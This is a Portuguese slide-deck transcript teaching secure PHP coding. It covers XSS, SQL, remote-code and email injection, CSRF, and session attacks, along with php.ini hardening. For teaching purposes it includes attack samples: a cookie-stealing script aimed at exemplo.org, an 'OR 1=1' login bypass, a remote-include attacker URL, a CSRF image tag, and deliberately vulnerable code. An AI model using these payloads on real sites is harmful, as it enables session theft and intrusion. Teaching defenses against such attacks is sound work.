Top Banner
http://dpasqua.wordpress.com Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer [email protected]
47

Segurança Web com PHP5

Nov 18, 2014

Download

Technology

Douglas Pasqua

Como se prevenir dos principais ataques explorados na web com ênfase em php5.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Segurança Web com PHP5

http://dpasqua.wordpress.com

Segurança Web com PHP 5Douglas V. Pasqua

Zend Certified [email protected]

Page 2: Segurança Web com PHP5

http://dpasqua.wordpress.com

Objetivo

●Disseminar boas práticas para o desenvolvimento de código seguro em php.

● Exemplificar como são feitos os ataques e suas respectivas formas de prevenção.

●Concientizar sobre a responsabilidade da segurança no desenvolvimento de uma aplicação.

●Abordar os tópicos de segurança que são temas do exame de certificação da Zend.

●Exemplo de ataques realizados em grandes sites.

Page 3: Segurança Web com PHP5

http://dpasqua.wordpress.com

Tópicos

●Introdução a Segurança.●Conceitos e boas práticas.

○ Filtrando Input.○ Escapando Output.

●Injection Attacks○ XSS,SQL,Command, Remote Code, Email.

●XSRF / CSRF●Segurança na Sessão.

○ Session Fixation.○ Session Hijacking.

●Configurações de segurança no php.ini.●Shared Hosting.

Page 4: Segurança Web com PHP5

http://dpasqua.wordpress.com

Introdução a Segurança

●Responsabilidade pela Segurança.●Princípios de um desenvolvimento seguro para aplicações

Web.●Você pode confiar nos dados que estão sendo

processados ? ●Quais os dados confiáveis ?●Como o maioria dos ataques podem ser evitados ?●Tenha em mente a importância de se desenvolver uma

aplicação segura.

Page 5: Segurança Web com PHP5

http://dpasqua.wordpress.com

Filtrando Input.

●Exemplo:

<form action=”login.php” method=”post”>Usuário: <input type=”text” name=”usuario” /><br />Senha: <input type=”passsword” name=”senha” /><br />Empresa: <select name=”id_empresa”> <option>nacional</option> <option>internacional</option> <option>filial</option> </select><br/> <input type=”submit” value=”Enviar” /></form>

Page 6: Segurança Web com PHP5

http://dpasqua.wordpress.com

Filtrando Input

●Regras de Validação: Usuário deve ser caracteres alfabéticos. Senha deve ser alfanumérico. Empresa deve conter somente 'nacional', 'internacional' ou 'filial'. ●Validar no lado do cliente (Javascript) ou no lado do

Servidor ?

Page 7: Segurança Web com PHP5

http://dpasqua.wordpress.com

Filtrando Input

●Validando no lado do servidor:

<?php $clean = array();if (ctype_alpha($_POST['usuario'])) { $clean['usuario'] = $_POST['usuario'];}if (ctype_alnum($_POST['senha'])) { $clean['senha'] = $_POST['senha'];}$empresas = arrray('nacional', 'internacional', 'filial');if (in_array($_POST['empresa'], $empresas)) { $clean['empresa'] = $_POST['empresa'];}

Page 8: Segurança Web com PHP5

http://dpasqua.wordpress.com

Filtrando Input

●Validando:

<?php $errors = array ();if (!array_key_exists('usuario', $clean)){ $errors[] = 'Campo usuário inválido. Usar somente

caracteres alfabéticos.'; }

Page 9: Segurança Web com PHP5

http://dpasqua.wordpress.com

Escapando Output

●Qual a importância de escapar output?●Escapar output deve fazer parte do filtro de input?●Escapando output de acordo com o destino: Web Browser

e Database●Escapar output – Web Browser:●htmlentities / htmlspecialchars:

$message = "A 'quote' is <b>bold</b>";

Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;$html['message'] =

htmlentities($message, ENT_QUOTES, 'UTF-8');

Page 10: Segurança Web com PHP5

http://dpasqua.wordpress.com

Escapando Output

●Escapar output para Database:●*_escape_string:

$sql = "SELECT * FROM usuarios WHERE usuario = " . mysql_real_escape_string($usuario);

Prepared statements:

$sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha';$sth = $pdo->prepare($sql);

$sth->execute(array( ':username' => $clean['username'], ':senha' => $clean['senha']));

$results = $sth->fetchAll();

Page 11: Segurança Web com PHP5

http://dpasqua.wordpress.com

Escapando Output

$sql = "SELECT * FROM usuarios WHERE usuario = ? AND senha = ?";

$sth = $pdo->prepare($sql);$sth->execute(array($clean['username'], $clean['senha']));$results = $sth->fetchAll();

Page 12: Segurança Web com PHP5

http://dpasqua.wordpress.com

Cross-Site Scripting

●É um dos mais conhecidos e um mais comuns dos tipos de ataque.

●Explora a confiança que o usuário tem na aplicação.●O foco esta no roubo de informações pessoais do usuários,

como por exemplo, os cookies.●Exemplo:

<form method=”POST” action=”adiciona_comentario.php”><p><textarea name=”comment”></textarea></p><p><input type=”submit”/></p></form>

Page 13: Segurança Web com PHP5

http://dpasqua.wordpress.com

Cross-Site Scripting<script>document.location ='http://exemplo.org/getcookies.php?cookies=' + document.cookie;</script>

●Para previnir-se do ataque, faça escape do output utilizando htmlentities.

$html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8');

Page 14: Segurança Web com PHP5

http://dpasqua.wordpress.com

Cross-Site Scripting - Casos

●Worm “Bom Sábado”.●Afetou o orkut, descoberto 25/09/2010.●Redireciona para comunidade “infectados vírus orkut”●Inscreve o usuário em comunidades maliciosas●Rouba informações presentes nos cookies●Envia scrap contaminado para lista de amigos

http://ibnlive.in.com/news/orkut-attacked-by-bom-sabado-worm/131714-11.html

Page 15: Segurança Web com PHP5

http://dpasqua.wordpress.com

Cross-Site Scripting - Casos

●Twitter – 21/09/2010●Ao passar o mouse por cima do link bagunçava a interface●Espalhava o problema para outros usuários●Impediu que usuários publicassem mensagens no twitter

http://hercules-now.com/2010/09/21/falha-de-seguranca-no-twitter-xss/

Page 16: Segurança Web com PHP5

http://dpasqua.wordpress.com

Cross-Site Scripting - Casos

●Site contendo arquivo de sites que já foram vuneráveis à ataques XSS.

http://www.xssed.com

Page 17: Segurança Web com PHP5

http://dpasqua.wordpress.com

SQL Injection

●É um ataque no qual o usuário malicioso injetam comandos sql em campos de formulários.

●Primeiro o atacante obtém informações suficientes para realizar o ataque, normalmente através de mensagens de erro do banco de dados.

●Um exemplo popular é o formulário de Login:

<form method=”POST” action=”login.php”>Username: <input type=”text” name=”username” /> <br />Senha: <input type=”password” name=”senha” /><br /><input type=”submit” value=”Login”></form>

Page 18: Segurança Web com PHP5

http://dpasqua.wordpress.com

SQL Injection

●O Código Vulenerável:$sql = "SELECT count(*) FROM usuarios WHERE usuario = '{$_POST['usuario']}' AND senha= '{$_POST['senha']}'";

Nesse caso não é feito o filtro de input. Nada é escapado.

Page 19: Segurança Web com PHP5

http://dpasqua.wordpress.com

SQL Injection

● Pode-se logar no sistema, passando no campo de usuário o seguinte conteúdo: (Independente do que é passado no campo de senha.)

admin' OR 1=1 --

SELECT * FROM usuariosWHERE usuario = 'admin' OR 1 = 1 -- ' AND senha = 'senhaqualquer'

●Para previnir sql injection, utilizar *_escape_string() ou de preferência prepared statements.

●Podem ocorrer problemas mais graves, como exclusão de tabelas e dados importantes.

Page 20: Segurança Web com PHP5

http://dpasqua.wordpress.com

SQL Injection - Casos

●Cisco WCS – 11/08/2010 (Wireless Control System)●SQL Injection na interface web WCS ●Permite total acesso no device:●Criação, exclusão e edição de usuários●Mudança nas configurações wireless

http://www.cisco.com/en/US/products/products_security_advisory09186a0080b4091e.shtml

Page 21: Segurança Web com PHP5

http://dpasqua.wordpress.com

SQL Injection - Casos

●Em 2008 houve um ataque em massa de SQL Injection●Exploração nos servidores usando IIS e SQLServer●Milhares de sites afetados (500.000)

http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected-by-sql-injection.html

Page 22: Segurança Web com PHP5

http://dpasqua.wordpress.com

Command Injection

●Tome cuidado ao utilizar o input de usuário para montar comandos dinâmicos ao utilizar as funções 'exec', 'system', 'passthru'.

●Evite sempre que possível utilizar funções que executem comandos no shell. (Boas práticas)

●Se não tiver outra opção, evite utilizar o input de usuário para criar os comandos shell.

●Se for ter que utilizar o input de usuário para montar os comando shell, você pode fazer uso das funções escapeshellcmd() e escapeshellarg()

http://php.net/manual/pt_BR/function.escapeshellcmd.phphttp://www.php.net/manual/pt_BR/function.escapeshellarg.php

Page 23: Segurança Web com PHP5

http://dpasqua.wordpress.com

Remote Code Injection

●Tome cuidado ao usar o input do usuário para fazer um include dinâmico na sua aplicação.

●Muitas aplicações se baseiam no input do usuário para criar includes em sua aplicação.

●Exemplo: include "{$_GET['secao']}/config.php";●Um usuário mal intencionado pode manipular a query

string e criar uma URL que irá "injetar" um arquivo em um site remoto.

http://www.exemplo.org/?secao=http://www.sitedoatacante.org/blah.inc/

Page 24: Segurança Web com PHP5

http://dpasqua.wordpress.com

Remote Code Injection

●Para se prevenir desse ataque, utilize o filtro de input adequado.

○ Verificando se o arquivo a ser incluído existe em disco.○ Criar um array com os nomes dos arquivos permitidos.○ Remover caracteres inválidos do input.

●Outra forma de se prevenir é desabilitando a diretiva allow_url_fopen do php.ini.

Page 25: Segurança Web com PHP5

http://dpasqua.wordpress.com

Email Injection

●Função mail() do PHP●Cuidado ao usar dados de input do usuário para configurar

os headers do e-mail.●Injeção de e-mail pode ser explorado em formulários de

contato mal elaborados.●A falha permite que usuários maliciosos enviem spam sem

seu consentimento.

Page 26: Segurança Web com PHP5

http://dpasqua.wordpress.com

Email Injection

●Código vulnerável:

$email_origem = $_POST['email'];mail("[email protected]", "Contato via form", $message, "From: $email_origem" );

Page 27: Segurança Web com PHP5

http://dpasqua.wordpress.com

Email Injection

●Código vulnerável:

$email_origem = $_POST['email'];mail("[email protected]", "Contato via form", $message, "From: $email_origem" );

●Input do usuário:[email protected] (quebra de linha)CC: [email protected], [email protected], etc..

Page 28: Segurança Web com PHP5

http://dpasqua.wordpress.com

Email Injection

●Prevenção:

○ Tratando:

$email_origem = preg_replace("/[\r\n]/",'',$email_origem);

● Validando:

if (preg_match( "/[\r\n]/", $email_origem) ) {// [... redireciona o usuário para uma página de erro e sai

da aplicação ...]}

Page 29: Segurança Web com PHP5

http://dpasqua.wordpress.com

Email Injection

●O email de destino também pode ser forjado pelo input do usuário.

●A função mail() aceita vários endereços de email no destinatário. (separados por vírgula):

[email protected], [email protected], etc..

Page 30: Segurança Web com PHP5

http://dpasqua.wordpress.com

XSRF ou CSRF●O ataque consiste em forjar requisições de outros usuários.●Explora a confiança que a aplicação tem no usuário.●É difícil de identificar pois para a aplicação parece ser uma

requisição legítima.●Exemplo: Atacante analisando o formulário:

<form action="/transfer.php" method="post"><p>To <input type="text" name="to" /></p><p>Valor $<input type="text" name="valor" /></p><p><input type="submit" value="Transferir" /></p></form>

Page 31: Segurança Web com PHP5

http://dpasqua.wordpress.com

●transfer.php:

<?php$clean = array();session_start();if ($_SESSION['auth']) { /* Filter To */ /* Filter Valor */ /* Make Transfer */ transfer($clean['to'], $clean['valor']);}?>

Page 32: Segurança Web com PHP5

http://dpasqua.wordpress.com

XSRF

●Forjando GET.●Usuário acessando site malicioso e logado no site do

banco em outra aba.<img src="http://banke.org/transfer.php?to=74435388&valor=1 />

●É possível forjar POST também.

Page 33: Segurança Web com PHP5

http://dpasqua.wordpress.com

XSRF

●Prevenção:○ Guarde um token randômico na sessão e sete no

formulário que deseja proteger.

$token = md5(uniqid(rand(), TRUE));$_SESSION['token'] = $token;

● Valide se o token esta correto na próxima requisição:●

if ($_SESSION['token'] == $_POST['token']) { /* valido */

}

Page 34: Segurança Web com PHP5

http://dpasqua.wordpress.com

XSRF - Casos

●Gmail afetado em 2007.●Afeta usuários logados no gmail e acessando o site

malicioso em outra aba.●O site malicioso conseguia obter todos os detalhes dos

contatos do usuário do gmail.

http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html

Page 35: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Fixation

●Basicamente, como funciona o processo de criação de sessão no PHP ?

○ session_start()○ Set_Cookie Header○ Nome do Cookie: PHPSESSID

●Fixando Sessão:

<a href=”http://www.phpexample.com.br/index.php?PHPSESSID=123456”> Entrar</a>

Page 36: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Fixation● Explorado em versões antigas do php onde muita gente

desabilitava os cookies no navegador.

● Para que seja possível explorar essa vunlerabilidade, definir os parâmetros abaixo no php.ini:

●session.use_only_cookies = Off (Padrão On)●session.use_trans_sid = On (Padrão Off)

Page 37: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Fixation

●Protegendo-se contra o ataque de session fixation:○ session_regenerate_id()

<?phpsession_start();if(usuario_autenticado($clean['usuario'], $clean['senha'])) { session_regenerate_id(); $_SESSION['logado'] = true;}

Page 38: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Fixation - Casos

●Joomla versão 1.5 até 1.5.15●Após autenticação o id da sessão não era re-criado

http://blog.taddong.com/2010/05/session-fixation-vulnerability-in.html

Page 39: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Hijacking

●Como é feito o ataque de session hijacking ?

●Como se prevenir ?○ Validar HTTP_USER_AGENT○ Setar no php.ini: session.cookie_httponly = true

Page 40: Segurança Web com PHP5

http://dpasqua.wordpress.com

Session Hijacking<?php

session_start();

if (array_key_exists('HTTP_USER_AGENT', $_SESSION)) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Acesso inválido. O header User-Agent mudou durante a mesma sessão. */

exit; }}else { /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do header User- Agent */

$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);}?>

Page 41: Segurança Web com PHP5

http://dpasqua.wordpress.com

Configurações no php.ini

●register_globals○ Variaveis são “injetadas” no seu código. É impossível

determinar a origem dos dados.

○ Exemplo:

if (checkLogin()) { $loggedin = TRUE;}...if ($loggedin) {}

Page 42: Segurança Web com PHP5

http://dpasqua.wordpress.com

Configurações no php.ini

●register_globals○ Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION○ Em versões >= 4.2.0 – O padrão é Off.○ Removido do php à partir da versão 5.4.0

●session.cookie_httponly○ ativa o parâmetro httponly no cookie usado para

identificar a sessão do usuário●expose_php

○ "Expoê" a versão do php instalado no servidor web.

Page 43: Segurança Web com PHP5

http://dpasqua.wordpress.com

Shared Hosting

●safe_mode ?○ Removido do php 6.0

●Alternativa (php.ini): ○ open_basedir○ disable_functions disable_classes

Page 44: Segurança Web com PHP5

http://dpasqua.wordpress.com

Shared Hosting

●open_basedir: ○ Limita os locais onde o php pode abrir/incluir arquivos.

Usando open_basedir com VirtualHost:<Directory /home/usuario1> php_admin_value open_basedir “/home/usuario1”</Directory>

● disable_functions:○ Desabilitar funções potencialmente perigosas

disable_functions = exec,passthru,shell_exec,system

Page 45: Segurança Web com PHP5

http://dpasqua.wordpress.com

Shared Hosting

● disable_classes:○ Desabilitar classes potencialmente "perigosas"

disable_classes = DirectoryIterator,Directory

●Protegendo sessões em hosts compartilhados usando session_set_save_handler:

session_set_save_handler( '_open', '_close', '_read', '_write', '_destroy',

'_clean');

Page 46: Segurança Web com PHP5

http://dpasqua.wordpress.com

Continuando os estudos

●OWASP - The Open Web Application Security Project https://www.owasp.org/

● PHP Security Consortium

http://phpsec.org/projects/guide/

Page 47: Segurança Web com PHP5

http://dpasqua.wordpress.com

Fale Conosco

Obrigado por Assistir !

Mais informações:

http://dpasqua.wordpress.com

E-mail: [email protected]

Fone: 11 9236-4184